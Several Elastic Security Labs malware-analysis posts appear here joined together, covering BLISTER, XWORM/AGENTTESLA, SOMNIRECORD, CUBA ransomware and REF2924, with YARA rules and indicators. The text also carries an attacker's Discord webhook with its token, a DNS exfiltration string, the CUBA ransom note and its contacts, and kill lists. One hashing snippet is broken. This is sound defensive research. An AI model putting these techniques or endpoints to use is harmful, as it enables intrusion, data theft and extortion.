BLISTER can execute DLL or Executable payloads reflectively in its memory space. It first creates a section with NtCreateSection API.

BLISTER then tries to map a view on the created section at the payload’s preferred base address. In case the preferred address is not available and the payload is an executable it will simply map a view on the created section at a random address and then do relocation.

Conversly, if the payload is a DLL, it will first unmap the memory region of the current process image and then it will map a view on the created section with the payload’s preferred address.

BLISTER then calls a function to copy the PE headers and the sections.

Finally, BLISTER executes the loaded payload in memory starting from its entry point if the payload is an executable. In case the payload is a DLL, it will find its export function according to the hash in the config file and execute it.

Process Hollowing

BLISTER is able to perform process hollowing in a remote process:

First, there is an initial check for a specific module hash value (0x12453653), if met, BLISTER performs process hollowing against the Internet Explorer executable.

If not, the malware performs remote process hollowing with Werfault.exe. BLISTER follows standard techniques used for process hollowing.

There is one path within this function: if certain criteria are met matching Windows OS versions and build numbers the hollowing technique is performed by dropping a temporary file on disk within the AppData folder titled Bg.Agent.ETW with an explicit extension.

The malware uses this file to read and write malicious DLL to this file. Werfault.exe is started by BLISTER and then the contents of this temporary DLL are loaded into memory into the Werfault process and the file is shortly deleted after.

Configuration Extractor

Automating the configuration and payload extraction from BLISTER is a key aspect when it comes to threat hunting as it gives visibility of the campaign and the malware deployed by the threat actors which enable us to discover new unknown samples and Cobalt Strike instances in a timely manner.

Our extractor uses a Rabbit stream cipher implementation and takes either a directory of samples with -d option or -f for a single sample,

To enable the community to further defend themselves against existing and new variants of the BLISTER loader, we are making the configuration extractor open source under the Apache 2 License. The configuration extractor documentation and binary download can be accessed here.

Conclusion

BLISTER continues to be a formidable threat, punching above its own weight class, distributing popular malware families and implants leading to major compromises. Elastic Security has been tracking BLISTER for months and we see no signs of this family slowing down.

From reversing BLISTER, our team was able to identify key functionality such as different injection methods, multiple techniques for defense evasion using anti-debug/anti-analysis features and heavy reliance on Windows Native API’s. We also are releasing a configuration extractor that can statically retrieve actionable information from BLISTER samples as well as dump out the embedded payloads.

Appendix

Configuration Structure

BLISTER configuration structure

struct Config {
  uint16_t flag;
  uint32_t payload_export_hash;
  wchar_t w_payload_filename_and_cmdline[783];
  size_t compressed_data_size;
  size_t uncompressed_data_size;
  uint8_t pe_deciphering_key[16];
  uint8_t pe_deciphering_iv[8];
};

Configuration’s Flags

BLISTER configuration files

enum Config::Flags {
  kDoPersistance = 0x1,
  kOwnProcessReflectiveInjectionMethod = 0x2,
  kOwnProcessHollowingMethod = 0x8,
  kRemoteProcessHollowingMethod = 0x10,
  kExecutePayloadExport = 0x20,
  kExecuteShellcodeMethod = 0x40,
  kInjectWithCmdLine = 0x80,
  kSleepAfterInjection = 0x100,
  kEnableSleepBasedAntiDebug = 0x800,
};

Hashing Algorithm

BLISTER hashing algorithm

uint32_t HashLibraryName(wchar_t *name) {
  uint32_t name {0};
  while (*name) {
 hash = ((hash >> 23) | (hash  << 9)) + *name++;
  }
  return hash ;
}

Indicators

| Indicator | Type | Note | | ---------------------------------------------------------------- | ------ | ----------- | | afb77617a4ca637614c429440c78da438e190dd1ca24dc78483aa731d80832c2 | SHA256 | BLISTER DLL |

YARA Rule

This updated YARA rule has shown a 13% improvement in detection rates.

BLISTER YARA rule

rule Windows_Trojan_BLISTER {
    meta:
        Author = "Elastic Security"
        creation_date = "2022-04-29"
        last_modified = "2022-04-29"
        os = "Windows"
        arch = "x86"
        category_type = "Trojan"
        family = "BLISTER"
        threat_name = "Windows.Trojan.BLISTER"
        description = "Detects BLISTER loader."
        reference_sample = "afb77617a4ca637614c429440c78da438e190dd1ca24dc78483aa731d80832c2"

    strings:
        $a1 = { 8D 45 DC 89 5D EC 50 6A 04 8D 45 F0 50 8D 45 EC 50 6A FF FF D7 }
        $a2 = { 75 F7 39 4D FC 0F 85 F3 00 00 00 64 A1 30 00 00 00 53 57 89 75 }
        $a3 = { 78 03 C3 8B 48 20 8B 50 1C 03 CB 8B 78 24 03 D3 8B 40 18 03 FB 89 4D F8 89 55 E0 89 45 E4 85 C0 74 3E 8B 09 8B D6 03 CB 8A 01 84 C0 74 17 C1 C2 09 0F BE C0 03 D0 41 8A 01 84 C0 75 F1 81 FA B2 17 EB 41 74 27 8B 4D F8 83 C7 02 8B 45 F4 83 C1 04 40 89 4D F8 89 45 F4 0F B7 C0 3B 45 E4 72 C2 8B FE 8B 45 04 B9 }
        $b1 = { 65 48 8B 04 25 60 00 00 00 44 0F B7 DB 48 8B 48 ?? 48 8B 41 ?? C7 45 48 ?? ?? ?? ?? 4C 8B 40 ?? 49 63 40 ?? }
        $b2 = { B9 FF FF FF 7F 89 5D 40 8B C1 44 8D 63 ?? F0 44 01 65 40 49 2B C4 75 ?? 39 4D 40 0F 85 ?? ?? ?? ?? 65 48 8B 04 25 60 00 00 00 44 0F B7 DB }
    condition:
        any of them
}

References

Artifacts

Artifacts are also available for download in both ECS and STIX format in a combined zip bundle.

Attack chain leads to XWORM and AGENTTESLA

Salim Bitam — Mon, 10 Apr 2023 00:00:00 GMT

Key Takeaways

Threat actors are deploying known malware using their own custom .NET loaders
The threat actors employ simple and well-known tactics such as bypassing AMSI through patching and a basic custom .NET loader
The threat actors are abusing legitimate free file hosting services

Preamble

Our team has recently observed a new malware campaign that employs a well-developed process with multiple stages. The campaign is designed to trick unsuspecting users into clicking on the documents, which appear to be legitimate, but are in fact fake, the adversary leverages weaponized word documents to execute malicious PowerShell scripts, and also utilizes a custom obfuscated .NET loader to load various malware strains, including XWORM and AGENTTESLA.

RTF loader code analysis

Overview

During a recent investigation, we discovered a malicious word document named Card & Booking Details.docx. This document has been designed with the intent to deceive the victim and includes two falsified scanned documents, namely a credit card and a passport.

Upon opening the document, an RTF object hosted at www.mediafire[.]com/file/79jzbqigitjp2v2/p2.rtf is fetched.

This RTF object contains a macro-enabled Excel object. When opened, this macro downloads an obfuscated powerShell script which in turn deploys different malware families.

At the time of this writing, we have observed two distinct malware families, namely XWORM and AGENTTESLA, have been deployed through this execution chain. Both malware families mentioned above are loaded into the compromised system's memory by the same custom .NET loader. Once loaded, the malicious payload can carry out a range of functions, such as stealing sensitive data and executing commands on the compromised system.

In this research post, we will walk through the initial execution of the malware and detail the capabilities we discovered.

Extracting the malicious VBA

The RTF document contains multiple embedded objects, including an interesting one that caught our attention: Excel.SheetMacroEnabled.

We can use rtfdumpy.py, a script developed by Didier Stevens to analyze RTF files, to dump the object and olevba.py, a script developed by Philippe Lagadec, to extract any embedded VBA scripts from an OLE object. The extracted VBA script shown below downloads and executes a malicious powershell script from https://www.mediafire[.]com/file/xnqxmqlcj51501d/7000m.txt/file.

Powershell script analysis

The malicious PowerShell script is obfuscated using string substitution to evade detection and make analysis more difficult.

It contains additional powershell script blocks in hex format that will be deployed in the infected machine designed to prepare the environment by setting up persistence, bypassing AMSI, disabling Windows defender and creating a mechanism to update the malware. The ultimate objective is to install two .NET binaries, namely a loader and a payload (XWORM / AGENTTESLA).

Deleting the malicious document

The malware starts by deleting the original Word document, first killing the process Winword.exe and then deleting all .DOCX files located in the default Downloads and Desktop folders of every user. This initial step shows the malware's destructive nature and how it can potentially harm the user's data.

Persistence

The malware creates a directory in the path C:\ProgramData\MinMinons , which is used to store other Powershell scripts and binaries. The currently running Powershell script is then copied to C:\ProgramData\MinMinons\Candlegraphy.\_\_\_.

Next, the malware deobfuscates the first embedded Powershell script which is used to create persistence. It first writes a JScript file that invokes the original Powershell script saved in C:\ProgramData\MinMinons\Candlegraphy.\_\_\_ through the activeXObject shell, then a scheduled task named “MOperaChrome” is created to run the JScript file using the Microsoft signed Windows Script Host (WSH) utility, wscript.exe.

AMSI bypass

The second embedded powershell script is responsible for bypassing AMSI by patching the amsiInitFailed flag. In doing so, the initialization of AMSI fails, leading to the prevention of any scan being initiated for the ongoing process. Furthermore, the PowerShell script proceeds to disable the Microsoft Windows Defender service.

User creation

The script creates a local administrator account named “System32” and adds it to the Remote Desktop Users group. This enables the attacker to log in via Remote Desktop Protocol (RDP). Next, the script disables the machine's firewall to allow inbound RDP connection attempts which aren’t filtered by edge controls.

Malware update persistence

The third embedded script stores a secondary JScript file, whose purpose is downloading a revised or updated version of the malware. This file is saved to a predetermined location at C:\ProgramData\MinMinons\miguan.js. Furthermore, a scheduled task with the name (“miguaned”) is created to execute the JScript file through wscript.exe , similar to the previously described task.

The JScript creates an instance of WScript.Shell object by calling ActiveXObject with the following CLSID {F935DC22-1CF0-11D0-ADB9-00C04FD58A0B} which corresponds to Shell Object, then downloads from the URL https://billielishhui.blogspot[.]com/atom.xml the update powershell malware.

.NET loader

The custom DOTNET loader employs the P/INVOKE technique to call the native Windows API and inject a payload into a signed microsoft binary via process hollowing.

The loader’s code employs various obfuscation techniques to hinder analysis, including the use of dead instruction, renamed symbols to make the code less readable and more confusion and encoded strings. Fortunately a tool like de4dot can be used to output a human-readable version of it.

The malware leverages the LoadLibrary and GetProcAddress APIs to access the required Windows APIs. To obscure the names of these APIs, the loader stores them in an encoded format within the binary file, utilizing a sequence of substitution and string reversal methods.

The loader then starts a process in a suspended state using CreateProcessA API. The following is the list of executables it uses as a host for it’s malicious code:

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe
C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe

These binaries are signed and trusted by the system and can evade detection by security software that relies on whitelisting system processes. It then uses Zwunmapviewofsection to unmap the memory of the target process, writes the payload to the suspended process and then resume the thread using ResumeThread API.

Final payload

During our research we discovered that the threat actor has been deploying different payloads. Namely, we observed 2 families: XWORM and AGENTTESLA.

XWORM has gained notoriety in the underground criminal marketplace due to its ability to employ sophisticated capabilities like virtualization and sandbox detection, used to avoid detection and support persistence within an infected system.

Of particular concern is the fact that XWORM is readily available on the internet as a cracked version, with version 2.1 being especially prevalent. This highlights the dangers of underground cybercrime markets and the ease with which malicious actors can access and utilize powerful tools.

Two different versions of the XWORM family were observed versions 2.2 and 3.1. The following is the configuration of a XWORM sample in plain text.

AGENTTESLA is a trojan and credential stealer written in .NET. While it first emerged in 2014, it is now among the most active and malicious software. AGENTTESLA is affordably priced and includes support from the developers, making it easily accessible to cybercriminals with limited technical skills.

The sample we analyzed was heavily obfuscated, masqueraded as an AVG installer,and leverages discord for C2. It uploads stolen information to the attacker’s Discord channel via the following webhook: https://discord[.]com/api/webhooks/1089956337733087274/uYNA_D8Ns1z9NZ3B1mGp0XXyGq-785KLGIfEAZsrz3TJd5fvOjXA927F7bUTTzbNT6Zk.

Observed adversary tactics and techniques

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that threats use.

Tactics

Tactics represent the “why” of a technique or sub-technique. They represent the adversary’s tactical goals: the reason for performing an action.

Techniques/subtechniques

Techniques and Subtechniques represent how an adversary achieves a tactical goal by performing an action.

Detection logic

YARA

Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify XWORM and AGENTTESLA malware families.

rule Windows_Trojan_Xworm_732e6c12 {
meta:
    author = "Elastic Security"
    id = "732e6c12-9ee0-4d04-a6e4-9eef874e2716"
    fingerprint = "afbef8e590105e16bbd87bd726f4a3391cd6a4489f7a4255ba78a3af761ad2f0"
    creation_date = "2023-04-03"
    last_modified = "2023-04-03"
    os = "Windows"
    arch = "x86"
    category_type = "Trojan"
    family = "Xworm"
    threat_name = "Windows.Trojan.Xworm"
    source = "Manual"
    maturity = "Diagnostic"
    reference_sample = "bf5ea8d5fd573abb86de0f27e64df194e7f9efbaadd5063dee8ff9c5c3baeaa2"
    scan_type = "File, Memory"
    severity = 100

strings:
    $str1 = "startsp" ascii wide fullword
    $str2 = "injRun" ascii wide fullword
    $str3 = "getinfo" ascii wide fullword
    $str4 = "Xinfo" ascii wide fullword
    $str5 = "openhide" ascii wide fullword
    $str6 = "WScript.Shell" ascii wide fullword
    $str7 = "hidefolderfile" ascii wide fullword
condition:
    all of them}

rule Windows_Trojan_AgentTesla_d3ac2b2f {
meta:
    author = "Elastic Security"
    id = "d3ac2b2f-14fc-4851-8a57-41032e386aeb"
    fingerprint = "cbbb56fe6cd7277ae9595a10e05e2ce535a4e6bf205810be0bbce3a883b6f8bc"
    creation_date = "2021-03-22"
    last_modified = "2022-06-20"
    os = "Windows"
    arch = "x86"
    category_type = "Trojan"
    family = "AgentTesla"
    threat_name = "Windows.Trojan.AgentTesla"
    source = "Manual"
    maturity = "Diagnostic, Production"
    reference_sample = "65463161760af7ab85f5c475a0f7b1581234a1e714a2c5a555783bdd203f85f4"
    scan_type = "File, Memory"
    severity = 100

strings:
    $a1 = "GetMozillaFromLogins" ascii fullword
    $a2 = "AccountConfiguration+username" wide fullword
    $a3 = "MailAccountConfiguration" ascii fullword
    $a4 = "KillTorProcess" ascii fullword
    $a5 = "SmtpAccountConfiguration" ascii fullword
    $a6 = "GetMozillaFromSQLite" ascii fullword

Not sleeping anymore: SOMNIRECORD's wake-up call

Salim Bitam — Wed, 22 Mar 2023 00:00:00 GMT

Introduction

While monitoring the REF2924 activity group, Elastic Security Labs researchers identified a new malware family written in C++ that we refer to as SOMNIRECORD. This malware functions as a backdoor and communicates with command and control (C2) while masquerading as DNS, allowing attackers to bypass network security controls such as firewalls and intrusion detection systems. Like NAPLISTENER and SIESTAGRAPH, these factors make it difficult to detect and block using strictly network-based technologies.

Analysis

Upon execution, SOMNIRECORD first generates a random string of three characters used as a unique identifier for the running malware instance. It then probes a domain name that is hardcoded into the binary (" dafadfweer.top") by appending the random three-character string and the string " -PROBE" to the domain name. SOMNIRECORD simulates a DNS query to retrieve the number of commands that are queued for the backdoor to execute, each stored in a TXT record of the associated domain.

After obtaining the number of commands waiting to be executed, the backdoor retrieves each command individually by sending a DNS query for a TXT record. The backdoor prepends the previously-generated random string to the " -CMD" string before sending the DNS query. This allows the backdoor to receive each command individually and execute them accordingly.

Command handling

The malware's command handling function is a critical component that enables it to execute commands received from the C2 server. This function processes the command and performs the appropriate action based on the command type. In this malware, there are five commands that the malware can execute: SYS, PSL, sleep, ECM , and WS :

“ SYS ” is used to retrieve information about the infected machine. When this command is executed, the SOMNIRECORD payload collects information about the computer name, the number of processors, OEM ID, and processor type. This information can be used to fingerprint/identify specific infected machines.

“ PSL ” is used to list all processes currently running on the infected machine by executing the system command “tasklist”.

“ ECM ” allows the malware to execute any software already present on the system, such as cmd.exe.

“ sleep ” is used to change the beacon interval to the c2 server.

“ WS ” is used to deploy an ASPX-based webshell to a specified path. The ASPX is hardcoded into the malware itself.

To communicate command results to its C2 server, SOMNIRECORD employs a unique technique that involves encoding the output of executed commands as hex values, prepending the previously generated random string to the " -DATA" string and then appending the hex values. The malware then performs a DNS query to the subdomain, allowing the encoded command output to be transmitted to the C2 server for example: XXX-DATA-68656c6c6f20776f726c64.dafadfweer.top

Resources

Elastic Security Labs has provided a SOMNIRECORD signature in our open protections artifact repository here.

Sources

Code similarity analyses play an important role in discovering the sources of malicious code used by adversaries. In an effort to identify the source of SOMNIRECORD, we identified an open source project called DNS-Persist that contained similar logic. Like NAPLISTENER, we believe the attacker was inspired by this project and then added modifications to facilitate success in a specific target environment.

Key takeaways

The use of open source projects by the attacker indicates that they are taking steps to customize existing tools for their specific needs and may be attempting to counter attribution attempts
SOMNIRECORD uses DNS to pattern communication with its command and control (C2), which enables attackers to bypass network egress controls and monitoring

CUBA Ransomware Malware Analysis

Salim Bitam — Tue, 14 Feb 2023 00:00:00 GMT

Summary

As a part of Elastic Security’s ongoing threat detection and monitoring efforts, we have recently observed a ransomware intrusion by the CUBA ransomware threat group, internally tracked as REF9019. This report will detail the inner workings of the ransomware deployed inside the network to encrypt the victim’s files. Cuba ransomware provides the attacker with the flexibility to encrypt both local and network shares files in the enterprise. CUBA uses the ChaCha20 cipher algorithm for symmetric encryption and RSA encryption to protect the ChaCha20 keys. CUBA is multithreaded for faster encryption with resource access synchronization to avoid file corruption.

In this analysis we will describe the following:

Operations mode
Process and services termination
Enumeration of volumes
Threading implementation
File encryption and algorithms used
MITRE Attack mapping
YARA rule
Indicators of compromise

Static Analysis

| | | | --------------- | ---------------------------------------------------------------- | --- | | SHA256 Packed | 0f385cc69a93abeaf84994e7887cb173e889d309a515b55b2205805bdfe468a3 | | SHA256 Unpacked | 3654af86dc682e95c811e4fd87ea405b627bca81c656f3a520a4b24bf2de879f | | File Size | 135168 bytes | | FileType: | Executable | | Imphash: | CA5F4AF10ABC885182F3FB9ED425DE65 | | Compile Time | Wed Mar 09 22:00:31 2022 | UTC | | Entropy | 6.582 |

Sections

| | | | | | | | ------ | -------------- | ------------ | -------- | ------- | -------------------------------- | | Name | VirtualAddress | Virtual Size | Raw Size | Entropy | MD5 | | .text | 0x00401000 | 0x13B5F | 0x13C00 | 6.608 | 931B22064E9E214BF59A4E07A6CA9109 | | .rdata | 0x00415000 | 0xA71C | 0xA800 | 5.855 | F6F97411BCD64126A96B08BA9AE1E775 | | .data | 0x00420000 | 0x16B0 | 0xC00 | 3.450 | 03B1B11B4531BB656E43A8B457D4A5F7 | | .rsrc | 0x00422000 | 0x1E0 | 0x200 | 4.704 | F754ADBD7F5D6195FD6D527001CAB98C | | .reloc | 0x00423000 | 0x1200 | 0x1200 | 6.573 | 08B0994DAECAAAA4173B388A80CC52FE |

For information on the CUBA ransomware campaign and associated malware analysis, check out our blog posts detailing this:

CUBA Campaign Analysis

BUGHATCH Malware Analysis

Imports

GetProcessImageFileNameW
EnumProcesses
NetApiBufferFree
NetShareEnum
GetIpNetTable
PathFindFileNameW
FindFirstFileExW
FindFirstFileW
FindNextFileW
WriteFile
SetFileAttributesW
MoveFileExW
FindFirstVolumeW
TerminateProcess
GetEnvironmentStringsW
OpenProcess
GetCurrentProcessId
CreateProcessW
GetVolumePathNamesForVolumeNameW
FindNextVolumeW
GetCurrentThreadId
RaiseException
GetModuleHandleExW
OpenProcessToken
CryptAcquireContextA
CryptGenRandom
CryptReleaseContext
AdjustTokenPrivileges
LookupPrivilegeValueA
ControlService
ChangeServiceConfigW
PathAddBackslashW
GetCPInfo
GetOEMCP
IsValidCodePage
lstrcpynW
InterlockedDecrement
FindClose
CreateFileW
Sleep
lstrcatW
CloseHandle
CreateThread
lstrcpyW
lstrcmpW
ReadFile
GetFileSizeEx
EnterCriticalSection
GetCurrentProcess
GetModuleFileNameW
LeaveCriticalSection
GetCommandLineA
WaitForSingleObject
GetLastError
SetEvent
GetDiskFreeSpaceExW
ResetEvent
GetWindowsDirectoryW
SetFilePointerEx
ExitProcess
CreateEventA
lstrcmpiW
GetTickCount
DeleteCriticalSection
QueryPerformanceCounter
SetStdHandle
FreeEnvironmentStringsW
GetCommandLineW
DecodePointer
GetStringTypeW
GetProcessHeap
FlushFileBuffers
GetConsoleCP
HeapSize
WriteConsoleW
InitializeCriticalSection
UnhandledExceptionFilter
SetUnhandledExceptionFilter
IsProcessorFeaturePresent
InitializeCriticalSectionAndSpinCount
WaitForSingleObjectEx
CreateEventW
GetModuleHandleW
GetProcAddress
IsDebuggerPresent
GetStartupInfoW
GetSystemTimeAsFileTime
InitializeSListHead
RtlUnwind
SetLastError
EncodePointer
TlsAlloc
TlsGetValue
TlsSetValue
TlsFree
FreeLibrary
LoadLibraryExW
GetFileType
GetStdHandle
MultiByteToWideChar
WideCharToMultiByte
GetACP
HeapFree
HeapAlloc
LCMapStringW
HeapReAlloc
GetConsoleMode
CharLowerW
GetKeyboardLayoutList
wsprintfW
CloseServiceHandle
OpenSCManagerW
OpenServiceW
QueryServiceStatusEx

Strings

Good day. All your files are encrypted. For decryption contact us.
Write here waterstatus@cock.li
reserve admin@encryption-support.com
jabber cuba_support@exploit.im
We also inform that your databases, ftp server and file server were downloaded by us to our servers.
If we do not receive a message from you within three days, we regard this as a refusal to negotiate.
Check our platform: http://cuba4ikm4jakjgmkezytyawtdgr2xymvy6nvzgw5cglswg3si76icnqd.onion/
* Do not rename encrypted files.
* Do not try to decrypt your data using third party software,
  it may cause permanent data loss.
* Do not stop process of encryption, because partial encryption cannot be decrypted.
!! READ ME !!.txt

Code Analysis

Entry Point

The malware starts by retrieving the active input locale identifier of the victim using the GetKeyboardLayout API. When the Russian language is in the list of supported languages of the machine, the process deletes and terminates itself with a simple command line: c:\system32\cmd.exe c/ del PATH_TO_BINARY without encrypting the file system.

Command-line Options

The threat actor included 4 different operations based on the following command-line arguments:

The network keyword
An IP keyword
A path keyword
The local keyword

Network keyword parameter

When specifying the network keyword, the malware retrieves the Address Resolution Protocol (ARP) table of the machine using the GetIpNetTable Windows API and enumerates the shares of each IP in the ARP table, this information is added to a linked list that will be accessed by the encryption capability, which will be discussed further below in detail.

IP keyword parameter

By specifying an IP address as the first parameter in the command line the malware proceeds by enumerating and encrypting every share found for the specified IP.

Path keyword parameter

The malware will encrypt the local directory contents, or the file provided, as the first parameter of the command-line.

Local keyword parameter

The local keyword is used to encrypt every local volume on the machine, and because the malware targets volumes by their ID, it can encrypt both mounted and unmounted volumes.

Process Termination

CUBA starts by acquiring SeDebugPrivilege and then terminates a hardcoded list of processes and services using a common Windows API (see appendix for list [1], [2]). For some services, the malware first tries to disable the service– indicated by the second parameter of TerminateProcesses::TerminateServiceByName function. This is mainly done to prevent interference with the encryption process by applications that may lock files from external changes, for example, databases.

Local Volume Enumeration

The malware enumerates all the local volumes and for each volume larger than 1GB it saves the volume’s GUID in a custom linked list. The ransomware utilizes the CriticalSection object to access this linked list for synchronization purposes due to multiple threads accessing the same resource. This helps to avoid two threads encrypting the same file at the same time, a race condition that would corrupt the file.

Multithreaded Encryption Synchronization

After preparing a list to encrypt, CUBA ransomware spawns encryption threads with the structure defined below as a parameter. Depending on the command line arguments, the malware starts 4 threads for local encryption or 8 threads for network encryption.

When a thread finishes its task, it will decrement a counter until it reaches 0: lpParameter-\>NumberOfThreadRunning. When the last thread completes, it will alert the program that the task is done with a call to SetEvent API, which will self delete and terminate the malware.

Encryption Implementation

The malware leverages the symmetric encryption algorithm ChaCha20 to encrypt files and the asymmetric encryption algorithm RSA to protect the ChaCha20 Key and Initialization Vector (IV). The author has utilized a customized version of WolfSSL, an open source SSL/TLS library, to implement this capability. Other samples (2957226fc315f71dc22f862065fe376efab9c21d61bbc374dde34d47cde85658) implemented a similar function using the libtomcrypt library. Other implementations may exist that are not described here.

The ransomware allocates a large custom structure called block that contains all the required encryption information. It then initializes an RsaKey structure with wc_InitRsaKey and decodes an embedded 4096 bit RSA public key in DER format using wc_RsaPublicKeyDecode which it saves to block.PubRsaKey.

File Enumeration

Each thread takes an entry from the linked list and starts recursively enumerating files starting from the root of the volume. In the case of a specific directory, the same function is called recursively except for specific directories (see appendix for list). Otherwise, it will ignore the ransom note file !! READ ME !!.txt and files with specific extensions (see appendix for list).

The malware uses wc_RNG_GenerateBlock a WolfSSL function, to randomly generate 44 bytes. The first 32 bytes of that are used as the ChaCha20 key and the other 12 bytes are used as the IV, it then calls a function to initiate the ChaCha20 structure block.chacha20_KeyIv that will be later used to encrypt the file content. At this point, the ransomware is ready to start encrypting and writing to the file.

Before encrypting a file, Cuba ransomware prepends a 1024 byte header, the first 256 bytes are the string FIDEL.CA and some DWORD bytes values, the next 512 bytes are the encrypted ChaCha20 KEY/IV with the public RSA key and the rest is padded with 0.

Before starting the encryption, the malware double checks if the file was already encrypted by comparing the first 8 bytes of the file to the header string FIDEL.CA. If equal, the malware terminates the encryption process as described below.

Then CUBA writes the 1024 byte header and if the file is larger than 2 MB it reads 1 MB of data at a time from the file and encrypts it with the ChaCha20 cipher. Otherwise, it will read and encrypt the entire contents at once.

The malware encrypts the file in 1 MB chunks and, depending on the file’s size, it will skip a preset number of bytes. This is done primarily to speed up the encryption process of large files, below is a table to illustrate.

| | | | | ---------------- | -------------------- | ------------ | | File Size | Chunk Size | Skipped Size | | Less than 2 MB | All the file content | 0 MB | | Less than 10 MB | 1MB | 4 MB | | Less than 50 MB | 1MB | 8 MB | | Less than 200 MB | 1MB | 16 MB | | Less than 10 GB | 1MB | 200 MB | | More than 10 GB | 1MB | 500 MB |

Finally, it will rename the file by adding the extension .cuba.

MITRE ATT&CK Techniques

Using the MITRE ATT&CK® framework, techniques and sub techniques represent how an adversary achieves a tactical goal by performing an action.

Appendix

List of Terminated Processes

sqlagent.exe
sqlservr.exe
sqlwriter.exe
sqlceip.exe
msdtc.exe
sqlbrowser.exe
vmwp.exe
vmsp.exe
outlook.exe
Microsoft.Exchange.Store.Worker.exe

List of Terminated Services

MySQL
MySQL80
SQLSERVERAGENT
MSSQLSERVER
SQLWriter
SQLTELEMETRY
MSDTC
SQLBrowser
vmcompute
vmms
MSExchangeUMCR
MSExchangeUM
MSExchangeTransportLogSearch
MSExchangeTransport
MSExchangeThrottling
MSExchangeSubmission
MSExchangeServiceHost
MSExchangeRPC
MSExchangeRepl
MSExchangePOP3BE
MSExchangePop3
MSExchangeNotificationsBroker
MSExchangeMailboxReplication
MSExchangeMailboxAssistants
MSExchangeIS
MSExchangeIMAP4BE
MSExchangeImap4
MSExchangeHMRecovery
MSExchangeHM
MSExchangeFrontEndTransport
MSExchangeFastSearch
MSExchangeEdgeSync
MSExchangeDiagnostics
MSExchangeDelivery
MSExchangeDagMgmt
MSExchangeCompliance
MSExchangeAntispamUpdate

Excluded Directories

\windows\
\program files\microsoft office\
\program files (x86)\microsoft office\
\program files\avs\
\program files (x86)\avs\
\$recycle.bin\
\boot\
\recovery\
\system volume information\
\msocache\
\users\all users\
\users\default user\
\users\default\
\temp\
\inetcache\
\google\

Excluded File Extensions

.exe
.dll
.sys
.ini
.lnk
.vbm
.cuba

YARA Rule

Elastic Security has created YARA rules to identify CUBA ransomware activity.

rule Windows_Ransomware_Cuba {
    meta:
        os = "Windows"
        arch = "x86"
        category_type = "Ransomware"
        family = "Cuba"
        threat_name = "Windows.Ransomware.Cuba"
        Reference_sample = "33352a38454cfc247bc7465bf177f5f97d7fd0bd220103d4422c8ec45b4d3d0e"

    strings:
       $a1 = { 45 EC 8B F9 8B 45 14 89 45 F0 8D 45 E4 50 8D 45 F8 66 0F 13 }
       $a2 = { 8B 06 81 38 46 49 44 45 75 ?? 81 78 04 4C 2E 43 41 74 }
     $b1 = "We also inform that your databases, ftp server and file server were downloaded by us to our     servers." ascii fullword
       $b2 = "Good day. All your files are encrypted. For decryption contact us." ascii fullword
       $b3 = ".cuba" wide fullword

    condition:
        any of ($a*) or all of ($b*)
}

Observations

Atomic indicators observed in our investigation.

| | | | | ---------------------------------------------------------------- | ------ | --------------- | | Indicator | Type | Note | | 32beefe2c5e28e87357813c0ef91f47b631a3dff4a6235256aa123fc77564346 | SHA256 | CUBA Ransomware | | 0f385cc69a93abeaf84994e7887cb173e889d309a515b55b2205805bdfe468a3 | SHA256 | CUBA Ransomware | | bcf0f202db47ca671ed6146040795e3c8315b7fb4f886161c675d4ddf5fdd0c4 | SHA256 | CUBA Ransomware |

Artifacts

Artifacts are also available for download in both ECS and STIX format in a combined zip bundle.

Update to the REF2924 intrusion set and related campaigns

Salim Bitam,Remco Sprooten,Cyril François,Andrew Pease,Devon Kerr,Seth Goodwin — Tue, 07 Feb 2023 00:00:00 GMT

Key takeaways

DOORME is a malicious IIS module that provides remote access to a contested network.
SIESTAGRAPH interacts with Microsoft’s GraphAPI for command and control using Outlook and OneDrive.
SHADOWPAD is a backdoor that has been used in multiple campaigns attributed to a regional threat group with non-monetary motivations.
REF2924 analytic update incorporating third-party and previously undisclosed incidents linking the REF2924 adversary to Winnti Group and ChamelGang along technical, tactical, and victim targeting lines.

Preamble

This research highlights the capabilities and observations of the two backdoors, named "DOORME" and "SIESTAGRAPH", and a backdoor called “SHADOWPAD” that was disclosed by Elastic in December of 2022. DOORME is an IIS (Internet Information Services) backdoor module, which is deployed to web servers running the IIS software. SIESTAGRAPH is a .NET backdoor that leverages the Microsoft Graph interface, a collection of APIs for accessing various Microsoft services. SHADOWPAD is an actively developed and maintained modular remote access toolkit.

DOORME, SIESTAGRAPH, and SHADOWPAD each implement different functions that can be used to gain and maintain unauthorized access to an environment. The exact details of these functionalities will be described in further detail in this research publication. It is important to note that these backdoors can be used to steal sensitive information, disrupt operations, and gain a persistent presence in a victim environment.

Additionally, we will discuss the relationships between REF2924 and three other intrusions carried out by the same threat group, intrusion set, or both. These associations are made using first-party observations and third-party reporting. They have allowed us to state with moderate confidence that SIESTAGRAPH, DOORME, SHADOWPAD, and other elements of REF2924 are attributed to a regional threat group with non-monetary motivations.

Additional information on the REF2924 intrusion setFor additional information on this intrusion set, which includes our initial disclosure as well as information into the campaign targeting the Foreign Ministry of an ASEAN member state, check out our previous research into REF2924.

DOORME code analysis

Introduction to backdoored IIS modules

IIS, developed by Microsoft, is an extensible web server software suite that serves as a platform for hosting websites and server-side applications within the Windows environment. With version 7.0, Microsoft has equipped IIS with a modular architecture that allows for the dynamic inclusion or exclusion of modules to suit various functional requirements. These modules correspond to specific features that the server can utilize to handle incoming requests.

As an example, a backdoored module that overrides the OnGlobalPreBeginRequestevent can be used to perform various malicious activities - such as capturing sensitive user information submitted to webpages, injecting malicious code into content served to visitors, or providing the attacker remote access to the web server. It is possible that a malicious module could intercept and modify a request before it is passed on to the server, adding an HTTP header or query string parameter that includes malicious code. When the server processes that modified request, the malicious code might be executed, allowing the attacker to gain unauthorized access or control the server and its resources.

Adding to the danger of IIS backdoors is that they can be stealthy and organizations may not be aware that they have been compromised. Many companies do not have the resources or expertise to regularly monitor and test their IIS modules for vulnerabilities and malicious code, which can make it difficult to detect and remediate backdoors. To mitigate these risks, organizations should maintain a comprehensive inventory of all IIS modules and implement network and endpoint protection solutions to help detect and respond to malicious activities. Elastic Security Labs has seen increased use of this persistence mechanism coupled with defense evasions, which may disproportionately impact those hosting on-premises servers running IIS.

Introduction to the DOORME IIS module

